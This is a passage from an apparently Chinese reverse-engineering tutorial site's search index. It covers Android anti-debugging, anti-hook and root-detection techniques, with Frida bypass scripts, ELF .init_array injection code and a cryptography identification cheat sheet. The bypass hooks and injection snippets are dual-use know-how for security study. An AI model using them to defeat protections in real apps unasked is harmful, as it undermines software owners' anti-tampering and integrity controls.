修改参数使其失败 } }, onLeave: function(retval) { retval.replace(ptr(0)); // 返回成功 } }); } ","date":"2025-06-05","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/:5:1","tags":["Native层","Frida","DEX","高级","Hook","Xposed"],"title":"AOSP 与 Android 系统裁剪","uri":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/#绕过-ptrace-检测"},{"categories":null,"collections":null,"content":"隐藏 Frida 符号 var dlsym = Module.findExportByName(\"libdl.so\", \"dlsym\"); Interceptor.attach(dlsym, { onEnter: function(args) { this.symbol_name = args[1].readCString(); }, onLeave: function(retval) { var blocked_symbols = [\"frida_agent_main\", \"xposed_bridge\"]; if (blocked_symbols.includes(this.symbol_name)) { console.log(\"[+] Hiding symbol: \" + this.symbol_name); retval.replace(ptr(0)); } } }); ","date":"2025-06-05","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/:5:2","tags":["Native层","Frida","DEX","高级","Hook","Xposed"],"title":"AOSP 与 Android 系统裁剪","uri":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/#隐藏-frida-符号"},{"categories":null,"collections":null,"content":"绕过 mprotect 检测 var mprotect = Module.findExportByName(\"libc.so\", \"mprotect\"); Interceptor.attach(mprotect, { onEnter: function(args) { var addr = args[0]; var size = args[1].toInt32(); var prot = args[2].toInt32(); console.log(\"[+] mprotect called: \" + addr + \", size: \" + size + \", prot: \" + prot); // 防止移除执行权限 if ((prot \u0026 0x4) == 0) { // PROT_EXEC args[2] = ptr(prot | 0x4); } } }); ","date":"2025-06-05","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/:5:3","tags":["Native层","Frida","DEX","高级","Hook","Xposed"],"title":"AOSP 与 Android 系统裁剪","uri":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/#绕过-mprotect-检测"},{"categories":null,"collections":null,"content":"隐藏敏感路径 var access = Module.findExportByName(\"libc.so\", \"access\"); Interceptor.attach(access, { onEnter: function(args) { var path = args[0].readCString(); var sensitive_paths = [ \"/data/local/tmp/frida-server\", \"/system/xbin/su\", \"/system/app/Superuser.apk\" ]; if (sensitive_paths.some(p =\u003e path.includes(p))) { console.log(\"[+] Blocking access to: \" + path); args[0] = Memory.allocUtf8String(\"/non/existent/path\"); } } }); ","date":"2025-06-05","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/:5:4","tags":["Native层","Frida","DEX","高级","Hook","Xposed"],"title":"AOSP 与 Android 系统裁剪","uri":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/#隐藏敏感路径"},{"categories":null,"collections":null,"content":"6. init_array 注入技术 ","date":"2025-06-05","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/:6:0","tags":["Native层","Frida","DEX","高级","Hook","Xposed"],"title":"AOSP 与 Android 系统裁剪","uri":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/#6-init_array-注入技术"},{"categories":null,"collections":null,"content":"Python 脚本注入 from elftools.elf.elffile import ELFFile def inject_init_array(elf_path, hook_function_addr): with open(elf_path, 'r+b') as f: elf = ELFFile(f) # 查找 .init_array 段 init_array = elf.get_section_by_name('.init_array') if init_array: # 在现有函数指针后添加新函数地址 f.seek(init_array['sh_offset'] + init_array['sh_size']) f.write(hook_function_addr.to_bytes(8, 'little')) ","date":"2025-06-05","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/:6:1","tags":["Native层","Frida","DEX","高级","Hook","Xposed"],"title":"AOSP 与 Android 系统裁剪","uri":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/#python-脚本注入"},{"categories":null,"collections":null,"content":"C 代码运行时注入 void inject_init_array_runtime() { // 1. 找到目标 SO 加载基址 void* base_addr = dlopen(\"target.so\", RTLD_NOLOAD); // 2. 解析 ELF 头找到 .init_array 段 ElfW(Ehdr)* ehdr = (ElfW(Ehdr)*)base_addr; ElfW(Shdr)* shdr = (ElfW(Shdr)*)((char*)base_addr + ehdr-\u003ee_shoff); // 3. 修改内存保护 mprotect(init_array_addr, init_array_size, PROT_READ | PROT_WRITE); // 4. 添加函数指针 *(void**)(init_array_addr + init_array_size) = target_function; // 5. 恢复保护 mprotect(init_array_addr, init_array_size, PROT_READ); } ","date":"2025-06-05","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/:6:2","tags":["Native层","Frida","DEX","高级","Hook","Xposed"],"title":"AOSP 与 Android 系统裁剪","uri":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/#c-代码运行时注入"},{"categories":null,"collections":null,"content":"7. 综合反调试检测 class AntiDebugChecker { private: static bool check_debugger_presence() { return ptrace(PTRACE_TRACEME, 0, 1, 0) == -1; } static bool check_frida_artifacts() { const char* frida_files[] = { \"/data/local/tmp/frida-server\", \"/data/local/tmp/frida-agent-64.so\" }; for (auto file : frida_files) { if (access(file, F_OK) == 0) return true; } return false; } static bool check_memory_maps() { FILE* fp = fopen(\"/proc/self/maps\", \"r\"); char line[512]; while (fgets(line, sizeof(line), fp)) { if (strstr(line, \"frida\") || strstr(line, \"gum-js-loop\")) { fclose(fp); return true; } } fclose(fp); return false; } public: static void comprehensive_check() { if (check_debugger_presence() || check_frida_artifacts() || check_memory_maps()) { // 执行对抗措施 execute_countermeasures(); } } }; ","date":"2025-06-05","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/:7:0","tags":["Native层","Frida","DEX","高级","Hook","Xposed"],"title":"AOSP 与 Android 系统裁剪","uri":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/#7-综合反调试检测"},{"categories":null,"collections":null,"content":"定时检测线程 void start_anti_debug_thread() { std::thread([]{ while (true) { std::this_thread::sleep_for(std::chrono::seconds(5)); AntiDebugChecker::comprehensive_check(); } }).detach(); } ","date":"2025-06-05","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/:7:1","tags":["Native层","Frida","DEX","高级","Hook","Xposed"],"title":"AOSP 与 Android 系统裁剪","uri":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/#定时检测线程"},{"categories":null,"collections":null,"content":"总结 掌握 AOSP 编译和系统定制技术的意义： 深入理解 Android Framework 的工作原理，为 Hook 和逆向提供更底层的视角。 通过修改系统来绕过应用层的反分析技术，实现\"降维打击\"。 ","date":"2025-06-05","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/:8:0","tags":["Native层","Frida","DEX","高级","Hook","Xposed"],"title":"AOSP 与 Android 系统裁剪","uri":"/reverse_engineering/android/04-reference/advanced/aosp_and_system_customization/#总结"},{"categories":null,"collections":null,"content":"加密算法特征速查表 ","date":"2025-06-05","objectID":"/reverse_engineering/web/08-cheat-sheets/crypto_signatures/:0:0","tags":["Web","RSA","签名验证","速查表","加密分析","AES"],"title":"加密算法特征速查表","uri":"/reverse_engineering/web/08-cheat-sheets/crypto_signatures/#加密算法特征速查表"},{"categories":null,"collections":null,"content":"输出长度特征 算法 输出长度 输出格式 示例 MD5 32 字符 十六进制 5d41402abc4b2a76b9719d911017c592 SHA1 40 字符 十六进制 aaf4c61ddcc5e8a2dabede0f3b482cd9aea9434d SHA256 64 字符 十六进制 e3b0c44298fc1c149afbf4c8996fb... SHA512 128 字符 十六进制 cf83e1357eefb8bdf1542850d66d8... AES 可变 Base64 U2FsdGVkX1+LpXMIpGBwDA== RSA-2048 256 字节 Base64 长字符串 ","date":"2025-06-05","objectID":"/reverse_engineering/web/08-cheat-sheets/crypto_signatures/:1:0","tags":["Web","RSA","签名验证","速查表","加密分析","AES"],"title":"加密算法特征速查表","uri":"/reverse_engineering/web/08-cheat-sheets/crypto_signatures/#输出长度特征"},{"categories":null,"collections":null,"content":"JavaScript 库特征 ","date":"2025-06-05","objectID":"/reverse_engineering/web/08-cheat-sheets/crypto_signatures/:2:0","tags":["Web","RSA","签名验证","速查表","加密分析","AES"],"title":"加密算法特征速查表","uri":"/reverse_engineering/web/08-cheat-sheets/crypto_signatures/#javascript-库特征"},{"categories":null,"collections":null,"content":"CryptoJS // 特征代码 CryptoJS.MD5(text); CryptoJS.SHA256(text); CryptoJS.AES.encrypt(text, key); CryptoJS.enc.Base64.stringify(); CryptoJS.lib.WordArray; 识别要点: 全局变量 CryptoJS 引入 CDN: crypto-js.min.js 方法调用格式: CryptoJS.算法名.方法 ","date":"2025-06-05","objectID":"/reverse_engineering/web/08-cheat-sheets/crypto_signatures/:2:1","tags":["Web","RSA","签名验证","速查表","加密分析","AES"],"title":"加密算法特征速查表","uri":"/reverse_engineering/web/08-cheat-sheets/crypto_signatures/#cryptojs"},{"categories":null,"collections":null,"content":"crypto (Node.js) const crypto = require(\"crypto\"); // MD5 crypto.createHash(\"md5\").update(text).digest(\"hex\"); // HMAC crypto.createHmac(\"sha256\", key).update(text).digest(\"hex\"); // AES const cipher = crypto.createCipheriv(\"aes-256-cbc\", key, iv); ","date":"2025-06-05","objectID":"/reverse_engineering/web/08-cheat-sheets/crypto_signatures/:2:2","tags":["Web","RSA","签名验证","速查表","加密分析","AES"],"title":"加密算法特征速查表","uri":"/reverse_engineering/web/08-cheat-sheets/crypto_signatures/#crypto-nodejs"},{"categories":null,"collections":null,"content":"Web Crypto API // 特征代码 window.crypto.subtle.digest(\"SHA-256\", data); window.crypto.subtle.encrypt(algorithm, key, data); window.crypto.getRandomValues(array); ","date":"2025-06-05","objectID":"/reverse_engineering/web/08-cheat-sheets/crypto_signatures/:2:3","tags":["Web","RSA","签名验证","速查表","加密分析","AES"],"title":"加密算法特征速查表","uri":"/reverse_engineering/web/08-cheat-sheets/crypto_signatures/#web-crypto-api"},{"categories":null,"collections":null,"content":"常见加密模式 ","date":"2025-06-05","objectID":"/reverse_engineering/web/08-cheat-sheets/crypto_signatures/:3:0","tags":["Web","RSA","签名验证","速查表","加密分析","AES"],"title":"加密算法特征速查表","uri":"/reverse_engineering/web/08-cheat-sheets/crypto_signatures/#常见加密模式"},{"categories":null,"collections":null,"content":"对称加密（AES） 模式 特征 参数 AES-ECB 最简单，不安全 只需 key AES-CBC 需要 IV key + iv AES-CTR 计数器模式 key + counter AES-GCM 认证加密 key + iv + tag 识别示例: // CBC 模式 CryptoJS.AES.encrypt(text, key, { iv: iv, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.Pkcs7, }); ","date":"2025-06-05","objectID":"/reverse_engineering/web/08-cheat-sheets/crypto_signatures/:3:1","tags":["Web","RSA","签名验证","速查表","加密分析","AES"],"title":"加密算法特征速查表","uri":"/reverse_engineering/web/08-cheat-sheets/crypto_signatures/#对称加密aes"},{"categories":null,"collections":null,"content":"非对称加密（RSA） // JSEncrypt 特征 const encrypt = new JSEncrypt(); encrypt.setPublicKey(publicKey); const encrypted = encrypt.encrypt(text); ","date":"2025-06-05","objectID":"/reverse_engineering/web/08-cheat-sheets/crypto_signatures/:3:2","tags":["Web","RSA","签名验证","速查表","加密分析","AES"],"title":"加密算法特征速查表","uri":"/reverse_engineering/web/08-cheat-sheets/crypto_signatures/#非对称加密rsa"},{"categories":null,"collections":null,"content":"Hash 算法特征表 输入 MD5 SHA1 SHA256 \"\" (空字符串) d41d8cd98f00b204... da39a3ee5e6b4b0d... e3b0c44298fc1c14... \"a\" 0cc175b9c0f1b6a8... 86f7e437faa5a7fc... ca978112ca1bbdca... \"123456\" e10adc3949ba59ab... 7c4a8d09ca3762af... 8d969eef6ecad3c2... 快速验证: import hashlib hashlib.md5(b'123456').hexdigest() # 'e10adc3949ba59abbe56e057f20f883e' ","date":"2025-06-05","objectID":"/reverse_engineering/web/08-cheat-sheets/crypto_signatures/:4:0","tags":["Web","RSA","签名验证","速查表","加密分析","AES"],"title":"加密算法特征速查表","uri":"/reverse_engineering/web/08-cheat-sheets/crypto_signatures/#hash-算法特征表"},{"categories":null,"collections":null,"content":"混淆后的识别 ","date":"2025-06-05","objectID":"/reverse_engineering/web/08-cheat-sheets/crypto_signatures/:5:0","tags":["Web","RSA","签名验证","速查表","加密分析","AES"],"title":"加密算法特征速查表","uri":"/reverse_engineering/web/08-cheat-sheets/crypto_signatures/#混淆后的识别"},{"categories":null,"collections":null,"content":"特征字符串 搜索这些关键字： \"MD5\" \"SHA\" \"AES\" \"RSA\" \"encrypt\" \"decrypt\" \"cipher\" \"hash\" \"digest\" \"0123456789ABCDEF\" // 十六进制字符集 \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\" // Base64 ","date":"2025-06-05","objectID":"/reverse_engineering/web/08-cheat-sheets/crypto_signatures/:5:1","tags":["Web","RSA","签名验证","速查表","加密分析","AES"],"title":"加密算法特征速查表","uri":"/reverse_engineering/web/08-cheat-sheets/crypto_signatures/#特征字符串"},{"categories":null,"collections":null,"content":"特征函数 // MD5 特征 - 常量 0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476 // AES 特征 - S-Box [0x63, 0x7c, 0x77, 0x7b, ...] // Base64 特征 \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\" ","date":"2025-06-05","objectID":"/reverse_engineering/web/08-cheat-sheets/crypto_signatures/:5:2","tags":["Web","RSA","签名验证","速查表","加密分析","AES"],"title":"加密算法特征速查表","uri":"/reverse_engineering/web/08-cheat-sheets/crypto_signatures/#特征函数"},{"categories":null,"collections":null,"content":"加密参数常见名称 用途 常见变量名 密钥 key, secret, secretKey, password 初始向量 iv, ivBytes, nonce 盐 salt, randomSalt 签名 sign, signature, hash 时间戳 timestamp, ts, time, nonce ","date":"2025-06-05","objectID":"/reverse_engineering/web/08-cheat-sheets/crypto_signatures/:6:0","tags":["Web","RSA","签名验证","速查表","加密分析","AES"],"title":"加密算法特征速查表","uri":"/reverse_engineering/web/08-cheat-sheets/crypto_signatures/#加密参数常见名称"},{"categories":null,"collections":null,"content":"快速识别流程 graph TD A[发现加密字符串] --\u003e B{检查长度} B --\u003e|32字符| C[可能是MD5] B --\u003e|40字符| D[可能是SHA1] B --\u003e|64字符| E[可能是SHA256] B --\u003e|可变长度| F{检查格式} F --\u003e|Base64| G[可能是AES] F --\u003e|十六进制| H[检查是否是Hash] graph TD A[发现加密字符串] --\u003e B{检查长度} B --\u003e|32字符| C[可能是MD5] B --\u003e|40字符| D[可能是SHA1] B --\u003e|64字符| E[可能是SHA256] B --\u003e|可变长度| F{检查格式} F --\u003e|Base64| G[可能是AES] F --\u003e|十六进制| H[检查是否是Hash] graph TD A[发现加密字符串] --\u003e B{检查长度} B --\u003e|32字符| C[可能是MD5] B --\u003e|40字符| D[可能是SHA1] B --\u003e|64字符| E[可能是SHA256] B --\u003e|可变长度| F{检查格式} F --\u003e|Base64| G[可能是AES] F --\u003e|十六进制| H[检查是否是Hash] graph TD A[发现加密字符串] --\u003e B{检查长度} B --\u003e|32字符| C[可能是MD5] B --\u003e|40字符| D[可能是SHA1] B --\u003e|64字符| E[可能是SHA256] B --\u003e|可变长度| F{检查格式} F --\u003e|Base64| G[可能是AES] F --\u003e|十六进制| H[检查是否是Hash] ","date":"2025-06-05","objectID":"/reverse_engineering/web/08-cheat-sheets/crypto_signatures/:7:0","tags":["Web","RSA","签名验证","速查表","加密分析","AES"],"title":"加密算法特征速查表","uri":"/reverse_engineering/web/08-cheat-sheets/crypto_signatures/#快速识别流程"},{"categories":null,"collections":null,"content":"Python 实现对照 import hashlib from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad import base64 # MD5 hashlib.md5(b'text').hexdigest() # SHA256 hashlib.sha256(b'text').hexdigest() # HMAC-SHA256 import hmac hmac.new(b'key', b'text', hashlib.sha256).hexdigest() # AES-CBC 加密 key = b'1234567890abcdef' # 16字节 iv = b'abcdefghijklmnop' # 16字节 cipher = AES.new(key, AES.MODE_CBC, iv) encrypted = cipher.encrypt(pad(b'plaintext', AES.block_size)) encrypted_b64 = base64.b64encode(encrypted) # AES-CBC 解密 cipher = AES.new(key, AES.MODE_CBC, iv) decrypted = unpad(cipher.decrypt(base64.b64decode(encrypted_b64)), AES.block_size) ","date":"2025-06-05","objectID":"/reverse_engineering/web/08-cheat-sheets/crypto_signatures/:8:0","tags":["Web","RSA","签名验证","速查表","加密分析","AES"],"title":"加密算法特征速查表","uri":"/reverse_engineering/web/08-cheat-sheets/crypto_signatures/#python-实现对照"},{"categories":null,"collections":null,"content":"常见加密库 CDN 识别使用的加密库： \u003c!-- CryptoJS --\u003e \u003cscript src=\"https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js\"\u003e\u003c/script\u003e \u003c!-- JSEncrypt (RSA) --\u003e \u003cscript src=\"https://cdn.jsdelivr.net/npm/jsencrypt/bin/jsencrypt.min.js\"\u003e\u003c/script\u003e \u003c!-- Forge --\u003e \u003cscript src=\"https://cdn.jsdelivr.net/npm/node-forge/dist/forge.min.js\"\u003e\u003c/script\u003e \u003c!-- sjcl (Stanford JavaScript Crypto Library) --\u003e \u003cscript src=\"https://bitwiseshiftleft.github.io/sjcl/sjcl.js\"\u003e\u003c/script\u003e ","date":"2025-06-05","objectID":"/reverse_engineering/web/08-cheat-sheets/crypto_signatures/:9:0","tags":["Web","RSA","签名验证","速查表","加密分析","AES"],"title":"加密算法特征速查表","uri":"/reverse_engineering/web/08-cheat-sheets/crypto_signatures/#常见加密库-cdn"},{"categories":null,"collections":null,"content":"相关章节 加密算法识别 解密 API 参数 加密检测脚本 ","date":"2025-06-05","objectID":"/reverse_engineering/web/08-cheat-sheets/crypto_signatures/:10:0","tags":["Web","RSA","签名验证","速查表","加密分析","AES"],"title":"加密算法特征速查表","uri":"/reverse_engineering/web/08-cheat-sheets/crypto_signatures/#相关章节"},{"categories":null,"collections":null,"content":"反分析技术案例 📚 前置知识 本案例涉及以下核心技术，建议先阅读相关章节： R15: Frida 反调试绕过 - Frida 检测绕过技术 T01: Frida 使用指南 - 掌握 Hook 绕过反分析检测 F07: SO/ELF 文件格式 - 理解 Native 层检测原理 为了保护其核心代码和数据不被轻易分析，现代 App 普遍采用了一系列的反分析技术。这些技术旨在检测和阻止调试器、Hook 框架（如 Frida、Xposed）、模拟器和 Root 环境的运行。本案例将分类介绍这些技术的实现原理和对应的绕过策略。 ","date":"2025-06-01","objectID":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/:0:0","tags":["Native层","浏览器指纹","签名验证","Frida","案例分析","SSL Pinning"],"title":"反分析技术案例","uri":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/#反分析技术案例"},{"categories":null,"collections":null,"content":"技术概览 ┌─────────────────────────────────────────────────────────────────┐ │ 反分析技术体系 │ ├─────────────────────────────────────────────────────────────────┤ │ │ │ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │ │ │ 反调试 │ │ 反 Hook │ │ 反模拟器 │ │ │ │ Anti-Debug │ │ Anti-Hook │ │ Anti-Emulator│ │ │ ├──────────────┤ ├──────────────┤ ├──────────────┤ │ │ │ TracerPid │ │ Frida 端口 │ │ 系统属性 │ │ │ │ ptrace │ │ 内存特征 │ │ 特有文件 │ │ │ │ 时间检测 │ │ Inline Hook │ │ CPU 信息 │ │ │ │ 断点检测 │ │ Xposed 检测 │ │ 传感器数据 │ │ │ └──────────────┘ └──────────────┘ └──────────────┘ │ │ │ │ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │ │ │ Root 检测 │ │ 完整性校验 │ │ SSL Pinning │ │ │ │ Root Detect │ │ Integrity │ │ 证书绑定 │ │ │ ├──────────────┤ ├──────────────┤ ├──────────────┤ │ │ │ su 文件 │ │ 签名校验 │ │ 证书指纹 │ │ │ │ Magisk 检测 │ │ DEX 校验 │ │ 公钥绑定 │ │ │ │ SELinux │ │ SO 校验 │ │ 证书链验证 │ │ │ └──────────────┘ └──────────────┘ └──────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────┘ ","date":"2025-06-01","objectID":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/:1:0","tags":["Native层","浏览器指纹","签名验证","Frida","案例分析","SSL Pinning"],"title":"反分析技术案例","uri":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/#技术概览"},{"categories":null,"collections":null,"content":"1. 反调试 (Anti-Debugging) 💡 思路一句话: 识别检测类型（TracerPid/ptrace/时间差/断点扫描）→ 搜索特征字符串或系统调用定位检测代码 → hook 返回值或 patch 指令绕过。 目标: 检测 App 是否正被调试器附加。 ","date":"2025-06-01","objectID":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/:2:0","tags":["Native层","浏览器指纹","签名验证","Frida","案例分析","SSL Pinning"],"title":"反分析技术案例","uri":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/#1-反调试-anti-debugging"},{"categories":null,"collections":null,"content":"1.1 基于 TracerPid 的检测 在 Linux 内核中，每个进程的 /proc/\u003cpid\u003e/status 文件都记录了其状态信息，其中 TracerPid 字段表示正在追踪（调试）该进程的进程 PID。如果进程没有被调试，该值为 0。 实现原理: // Native (C/C++) 实现 - TracerPid 检测 #include \u003cstdio.h\u003e #include \u003cstdlib.h\u003e #include \u003cstring.h\u003e #include \u003cunistd.h\u003e #include \u003cpthread.h\u003e int check_tracer_pid() { FILE *fp = fopen(\"/proc/self/status\", \"r\"); if (fp == NULL) { return 0; } char line[128]; int tracer_pid = 0; while (fgets(line, sizeof(line), fp)) { if (strncmp(line, \"TracerPid:\", 10) == 0) { sscanf(line, \"TracerPid:\\t%d\", \u0026tracer_pid); break; } } fclose(fp); return tracer_pid; } // 后台线程持续检测 void* anti_debug_thread(void* arg) { while (1) { if (check_tracer_pid() != 0) { // 检测到调试器，执行保护逻辑 kill(getpid(), SIGKILL); } usleep(100000); // 100ms 间隔 } return NULL; } // 在 JNI_OnLoad 或初始化函数中启动检测线程 void start_anti_debug() { pthread_t thread; pthread_create(\u0026thread, NULL, anti_debug_thread, NULL); pthread_detach(thread); } 绕过策略 - Frida Hook: // Frida 脚本 - 绕过 TracerPid 检测 Interceptor.attach(Module.findExportByName(\"libc.so\", \"fopen\"), { onEnter: function(args) { this.path = args[0].readCString(); }, onLeave: function(retval) { if (this.path \u0026\u0026 this.path.indexOf(\"/proc/\") !== -1 \u0026\u0026 this.path.indexOf(\"/status\") !== -1) { this.statusFile = retval; } } }); Interceptor.attach(Module.findExportByName(\"libc.so\", \"fgets\"), { onLeave: function(retval) { if (retval.isNull()) return; var line = retval.readCString(); if (line \u0026\u0026 line.indexOf(\"TracerPid:\") !== -1) { // 将 TracerPid 改为 0 var newLine = \"TracerPid:\\t0\\n\"; retval.writeUtf8String(newLine); console.log(\"[*] TracerPid spoofed to 0\"); } } }); ","date":"2025-06-01","objectID":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/:2:1","tags":["Native层","浏览器指纹","签名验证","Frida","案例分析","SSL Pinning"],"title":"反分析技术案例","uri":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/#11-基于-tracerpid-的检测"},{"categories":null,"collections":null,"content":"1.2 ptrace 自附加检测 一个进程同一时间只能被一个调试器附加。App 可以先 ptrace 自己，使得其他调试器无法再附加。 实现原理: // Native (C/C++) 实现 - ptrace 自附加 #include \u003csys/ptrace.h\u003e #include \u003csys/wait.h\u003e #include \u003cunistd.h\u003e #include \u003cstdlib.h\u003e void anti_debug_ptrace() { // 方法1: 直接 ptrace 自己 if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) == -1) { // 如果失败，说明已经被调试 exit(0); } } void anti_debug_ptrace_fork() { // 方法2: fork 子进程来 ptrace 父进程 pid_t child = fork(); if (child == 0) { // 子进程 pid_t parent = getppid(); // 附加到父进程 if (ptrace(PTRACE_ATTACH, parent, NULL, NULL) == -1) { // 父进程已被调试 kill(parent, SIGKILL); exit(0); } // 等待父进程停止 waitpid(parent, NULL, 0); // 继续父进程执行 ptrace(PTRACE_CONT, parent, NULL, NULL); // 持续监控 while (1) { int status; waitpid(parent, \u0026status, 0); if (WIFEXITED(status) || WIFSIGNALED(status)) { exit(0); } ptrace(PTRACE_CONT, parent, NULL, NULL); } } } 绕过策略 - Frida Hook: // Frida 脚本 - 绕过 ptrace 检测 var ptrace = Module.findExportByName(null, \"ptrace\"); Interceptor.attach(ptrace, { onEnter: function(args) { this.request = args[0].toInt32(); console.log(\"[*] ptrace called with request: \" + this.request); }, onLeave: function(retval) { // PTRACE_TRACEME = 0 if (this.request === 0) { retval.replace(0); // 返回成功 console.log(\"[*] ptrace(PTRACE_TRACEME) bypassed\"); } } }); // 同时 Hook fork 防止子进程检测 Interceptor.attach(Module.findExportByName(\"libc.so\", \"fork\"), { onLeave: function(retval) { var pid = retval.toInt32(); if (pid === 0) { // 在子进程中，可以直接退出 console.log(\"[*] fork() in child process, may be anti-debug\"); } } }); ","date":"2025-06-01","objectID":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/:2:2","tags":["Native层","浏览器指纹","签名验证","Frida","案例分析","SSL Pinning"],"title":"反分析技术案例","uri":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/#12-ptrace-自附加检测"},{"categories":null,"collections":null,"content":"1.3 时间检测 (Timing Attack) 调试时单步执行会导致代码运行时间显著增加。App 可以测量关键代码段的执行时间来判断是否被调试。 实现原理: // Native (C/C++) 实现 - 时间检测 #include \u003ctime.h\u003e #include \u003cstdlib.h\u003e #define THRESHOLD_NS 100000000 // 100ms 阈值 void timing_check() { struct timespec start, end; clock_gettime(CLOCK_MONOTONIC, \u0026start); // 执行一些简单操作 volatile int sum = 0; for (int i = 0; i \u003c 1000; i++) { sum += i; } clock_gettime(CLOCK_MONOTONIC, \u0026end); long elapsed = (end.tv_sec - start.tv_sec) * 1000000000L + (end.tv_nsec - start.tv_nsec); if (elapsed \u003e THRESHOLD_NS) { // 执行时间异常，可能被调试 exit(0); } } Java 层实现: // Java 实现 - 时间检测 public class TimingCheck { private static final long THRESHOLD_MS = 100; public static boolean isBeingDebugged() { long startTime = System.nanoTime(); // 执行一些简单计算 int sum = 0; for (int i = 0; i \u003c 10000; i++) { sum += i; } long endTime = System.nanoTime(); long elapsed = (endTime - startTime) / 1000000; // 转换为毫秒 return elapsed \u003e THRESHOLD_MS; } } 绕过策略 - Frida Hook: // Frida 脚本 - 绕过时间检测 var clock_gettime = Module.findExportByName(\"libc.so\", \"clock_gettime\"); var baseTime = null; var fakeElapsed = 1000000; // 1ms Interceptor.attach(clock_gettime, { onEnter: function(args) { this.timespec = args[1]; }, onLeave: function(retval) { if (baseTime === null) { baseTime = { tv_sec: this.timespec.readU32(), tv_nsec: this.timespec.add(4).readU32() }; } else { // 返回假的时间差 this.timespec.writeU32(baseTime.tv_sec); this.timespec.add(4).writeU32(baseTime.tv_nsec + fakeElapsed); fakeElapsed += 1000000; // 每次增加 1ms } } }); // Hook Java 层时间函数 Java.perform(function() { var System = Java.use(\"java.lang.System\"); var startNanoTime = null; System.nanoTime.implementation = function() { if (startNanoTime === null) { startNanoTime = this.nanoTime(); } // 返回递增的假时间 startNanoTime += 1000000; // 1ms return startNanoTime; }; }); ","date":"2025-06-01","objectID":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/:2:3","tags":["Native层","浏览器指纹","签名验证","Frida","案例分析","SSL Pinning"],"title":"反分析技术案例","uri":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/#13-时间检测-timing-attack"},{"categories":null,"collections":null,"content":"1.4 断点检测 检测代码段是否被设置了软件断点（通常是 0xCC 或 ARM 的断点指令）。 实现原理: // Native (C/C++) 实现 - 断点检测 #include \u003cstdint.h\u003e #include \u003cstring.h\u003e // x86/x64 断点指令 #define BREAKPOINT_X86 0xCC // ARM 断点指令 #define BREAKPOINT_ARM 0xE7F001F0 #define BREAKPOINT_THUMB 0xDE01 int check_breakpoints(void* func_addr, size_t func_size) { uint8_t* code = (uint8_t*)func_addr; for (size_t i = 0; i \u003c func_size; i++) { // 检测 x86 软件断点 if (code[i] == BREAKPOINT_X86) { return 1; // 发现断点 } #ifdef __arm__ // 检测 ARM/Thumb 断点 if (i + 1 \u003c func_size) { uint16_t thumb_inst = *(uint16_t*)(code + i); if (thumb_inst == BREAKPOINT_THUMB) { return 1; } } #endif } return 0; } // 计算函数校验和，检测是否被修改 uint32_t calculate_checksum(void* start, size_t size) { uint32_t checksum = 0; uint8_t* data = (uint8_t*)start; for (size_t i = 0; i \u003c size; i++) { checksum += data[i]; checksum = (checksum \u003c\u003c 1) | (checksum \u003e\u003e 31); // 循环左移 } return checksum; } 绕过策略: // Frida 脚本 - 使用 Memory.protect 修改权限 // 在检测之前临时恢复原始代码 var targetFunction = Module.findExportByName(\"libtarget.so\", \"sensitive_function\"); // 保存原始字节 var originalBytes = Memory.readByteArray(targetFunction, 16); // 当检测函数被调用时，临时恢复 Interceptor.attach(Module.findExportByName(\"libtarget.so\", \"check_breakpoints\"), { onEnter: function(args) { // 恢复原始代码 Memory.writeByteArray(targetFunction, originalBytes); }, onLeave: function(retval) { // 重新设置 Hook // ... 重新安装 Interceptor } }); ","date":"2025-06-01","objectID":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/:2:4","tags":["Native层","浏览器指纹","签名验证","Frida","案例分析","SSL Pinning"],"title":"反分析技术案例","uri":"/reverse_engineering/android/03-case-studies/case_anti_analysis_techniques/#14-断点检测"},{"categories":null,"collections":null,"content":"2. 反 Hook (Anti-Hooking) 💡 思路一句话: 识别检测手段（端口扫描/内存映射/Inline Hook 特征/Xposed 类检测）→ hook 对应的检测函数使其返回\"安全\"结果 → 验证 App 正常运行。 目标: 检测和阻止 Frida、Xposed 等 Hook 框架的注入和功能。 